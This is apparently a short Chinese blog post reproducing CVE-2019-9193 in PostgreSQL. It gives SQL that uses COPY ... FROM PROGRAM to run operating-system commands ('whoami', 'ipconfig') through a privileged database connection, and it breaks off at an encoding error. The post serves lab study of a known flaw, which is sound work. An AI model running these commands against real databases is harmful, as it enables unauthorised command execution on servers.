PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现
连接数据库执行命令
DROP TABLE IF EXISTS cmd_exec;//第一次不执行这条
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
问题:我用的pgadmin连接数据库,在执行这条命令时
COPY cmd_exec FROM PROGRAM 'ipconfig';
出现了以下错误
ERROR: invalid byte sequen
原创
2022-01-05 16:53:51 ·
1748 阅读 ·
0 评论